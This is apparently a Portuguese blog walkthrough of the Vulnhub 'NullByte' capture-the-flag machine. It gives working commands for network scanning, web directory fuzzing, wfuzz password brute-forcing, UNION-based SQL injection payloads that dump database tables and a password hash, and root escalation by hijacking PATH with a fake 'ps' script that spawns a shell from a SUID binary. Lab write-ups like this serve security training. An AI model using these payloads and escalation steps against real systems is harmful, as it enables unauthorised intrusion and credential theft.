Home Vulnhub - NullByte
Post
Cancel

Vulnhub - NullByte

Scan/Enumeracao

Host Discovery

Com o arp-scan descobrimos que o nosso alvo esta no ip 192.168.110.5

1
sudo arp-scan -I eth1 192.168.110.0/24

Port Discovery

Com o parametro “-p-“ do nmap varremos todas as portas possiveis do nosso alvo e encontramos 03 delas abertas. 80, 111, 777 e 48169

1
sudo nmap -n -T5 -p- 192.168.110.5

Port Scan

Agora com o parametro “-A” do nmap vamos descobrir mais informacoes sobre essas portas abertas do nosso alvo

1
sudo nmap -n -T5 -A -p 80,111,777,48169 192.168.110.5 

  • Porta 80: Apache httpd 2.4.10 ((Debian))
  • Porta 111: rpcbind 2-4 (RPC #100000)
  • Porta 777: OpenSSH 6.7p1 Debian 5 (protocol 2.0)
  • Porta 48169: 1 (RPC #100024)

Web - Porta 80

Inspecao Visual - Browser

Acessando a pagina web

Nikto

Vamos enumerar a web com a ferramente “Nikto”. Achamos um diretorio “/phpmyadmin/

Fuzzy de Diretorios - Gobuster

Paralelamente ao nikto deixamos rodando o gobuster para enumerar os diretorios e/ou arquivos existentes. Encontramos as paginas /uploads, /javascript e /phpmyadmin

Accesando /uploads nao temos nada por enquanto

Acessando /javascript, codigo 403, forbidden

  • Rodamos o gobuster novamente para tentar pegar algum diretorio recursivo, encontramos o diretorio /jquery, porem nao conseguimos accesa-lo, codigo 403

  • Rodamos o gobuster recursivamente no 192.168.110.5/javascript/jquery e encontramos

  • Acessando as paginas encontradas temos

  • Nao temos nada alem disso… Vamos continuar em frente…

Acessando a /phpmyadmin temos a aplicacao phpMyAdmin

  • Tentamos algumas senhas obvias como a padrao da aplicacao, porem nao obtivemos resultado positivo

  • Rodamos o gobuster revursivamente, encontramos varios diretorios e arquivos padroes da aplicacao, porem nada de interessante por enquanto…

Imagem - “index.gif”

Depois de quebrar a cabeca com o phpMyAdmin voltamos para a pagina principal e baixamos a imagem para examina-la com mais precisao

Exiftool

Verificando os metadados da imagem encontramos um comentario que pode ser util: “P-): kzMb5nVYJw

  • Tentamos verificar se era algum tipo de hash, ou se era a senha mas nao deu certo em nenhum caso

192.168.110.5/kzMb5nVYJw

Ao verificar se existia esse diretorio na web obtivemos um resoltado positivo!

Como e de praste, verificando o codigo fonte da aplicacao tem um comentario interessante que fala que o formulario nao esta conectado ao banco, ou seja, a autenticacao deve ser feita diretamente na aplicacao. Diz tambem que a senha nao e muito dificil…

  • Testamos algumas senhas que sao padrao mas nao conseguimos nada. Entao o que nos resta e um bruteforce

BruteForce

Para realizar o ataque de forca burta contra a aplicacao web, temos que saber como esta sendo enviado o formulario de autenticacao. Pode ser pelo metodo GET, sendo passado via URL, ou pelo metodo POST. Para saber como esta sendo feito, podemos olhar na ferramente do desenvolvedor do navegador ou se quiser ter uma experiencia mais performatica pode ser utilizado o BurpSuite para isso.

BurpSuite

Para capturar o trafego iniciamos o Burp e navegamos ate a aba “Proxy” e deixamos a opcao “Intercept is on”. Depois disso configuramos no nosso navegador o proxy do Burp. Nesse caso estou utilizando o Firefox e a extensao “FoxyProxy”

Feita a configuracao conseguimos capturar a requisicao da aplicacao e constatamos que esta sendo enviado pelo metodo POST

WFUZZ

Montamos o comando com o POST da requisicao da aplicacao para realizar um bruteforce com o WFUZZ. Coseguimos achar a senha “elite

1
wfuzz -c --hl 8 -w /usr/share/wordlists/SecLists/Passwords/Most-Popular-Letter-Passes.txt -d "key=FUZZ" http://192.168.110.5/kzMb5nVYJw/index.php

SQLinjection

Conseguimos acessar a pagina com a senha que encontramos

Sem passar nenhum parametro no formulario, apenas apertando “ENTER”, conseguimos interagir com o banco, que nos mostou um resultado interessante…

BurpSuite

Para deixar a nossa experiencia mais performatica vamos abrir o Burp, interceptar a requisicacao e jogar para o repeater…

Depois de um bom tempo conseguimos montar uma requisicao para o banco. O primeiro passo para o SQLi e saber quantas colunas da tabelas estao sendo usadas pela aplicacao. Para isso usamos o comando “order by

  • Quando estamos lidando com requisicoes GET temos que ter a preocupacao com os caracteres que podem quebrar a requisicao. Depois de alguns testes verificamos que o caractere “#” nao e interpretado pela aplicacao, por isso tivemos que codifica-lo para URL (%23). O caractere “espaco” teve que ser codificado tambem (%20)

1
usrtosearch="%20order%20by%204%23
  • O nosso payload pode ser montado da seguinte forma, tambem:

1
usrtosearch="+order+by+3+--+-

A string -- - tem o mesmo efeito do # no SQL. Comenta o que vem em seguida…

Agora conseguimos extrair informacoes… Nessa requisicao conseguimos extrair a versao do SGBD, Banco de Dados em uso e usuario

1
usrtosearch="union+select+version(),database(),user()%23

Listamos os Bancos de Dados existentes na maquina

1
usrtosearch="union+select+1,schema_name,3+from+information_schema.schemata%23

Listamos as tabelas do bando de dados “seth

1
usrtosearch="union+select+9,table_name,9+from+information_schema.columns+where+table_schema=database()%23

Listamos as colunas da tabela “user” do banco “seth

1
usrtosearch="union+select+9,column_name,9+from+information_schema.columns+where+table_schema=database()%23

Listamos as colunas “user”, “pass” e “position” da tabela “users” do banco “seth

1
usrtosearch="union+select+user,pass,position+from+users+%23

  • YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE

Usuario Ramses

Shell Reverso

hashes.com

Achamos um hash de senha na exploracao SQLi, decodificando temos a string “omega

  • YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE:c6d6bd7ebf806f43c76acc3681703b81

  • c6d6bd7ebf806f43c76acc3681703b8:omega

SSH

Conseguimos logar com a credencial ramses:omega no SSH na porta 777

Escalando Privilegio

History

Uma boa pratica na metodologia para escalar privilegio e olhar o historico do usuario atual… No historico do usuario ramses podemos observar que ele executa um arquivo procwacth no diretorio /var/www/backup/

PROCWATH

Verificando o arquivo que encontramos observamso que ele tem permissao especial, SUID. Ou seja, podemos executar ele com os mesmos privilegios do dono. Nesse caso podemos observar que o dono e o root

Executando o arquivo temos, aparentemente, a listagem de processos do terminal (comando “ps” puro)

Note a semelhanca do binario e do comando “ps”

Sequestro de PATH

Bom, sabemos que o binario provavelmente esta executando o comando “ps” e tem permissao SETUID. Entao podemos realizar um sequestro de PATH, que consiste em criar um script com o mesmo nome do binario que esta sendo chamado pelo procwatch (ps) e acrescentar o diretorio onde esta esse script na variavel PATH do usuario. Quando executamos um binario da maquina ele procura nos diretorios do PATH e executa da esquerda para a direita, fazendo com que o nosso payload seja executado no lugar do binario correto

Script - HereDoc

Vamos utilizar a tecnica “HereDoc” para escrever esse script. Mas na verdade poderiamos escrever de varias otras formas. Essa tecnica e utilizada para escrever documentos quando nao temos um shell interativo

1
2
3
4
cat << SAIR > ps
> #!/bin/sh
> /bin/sh
> SAIR

PATH

Agora vamos sequestrar o PATH do usuario, para isso incluimos o diretorio onde esta o nosso script na variavel PATH do usuario

1
export PATH=/var/www/backup:$PATH

Root

Agora executamos o binario e coneguimos virar root

Flag - Root

Conseguimos pegar a flag de ROOT

This post is licensed under CC BY 4.0 by the author.
Contents